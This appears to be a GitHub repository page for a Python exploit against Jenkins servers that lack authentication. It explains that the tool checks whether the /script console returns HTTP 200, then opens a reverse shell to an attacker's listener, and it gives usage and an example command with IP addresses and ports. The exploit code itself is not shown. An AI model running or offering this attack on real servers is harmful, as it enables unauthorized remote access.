/jenkins-exploit

Jenkins exploit for Servers without authentication

Primary LanguagePython

jenkins-exploit

Jenkins exploit for Servers without authentication This exploit exploits the following automatically:

  • A server is running jenkins
  • If the status code of http://IP:Port/script is equal to 200 the server is running unauthenticated and is vulnerable
  • The exploit runs a reverse shell on the target

Usage: python exploit.py Target_IP Target_Port LHOST LPORT

Example: python exploit.py 192.2.3.4 8080 192.2.3.3 6154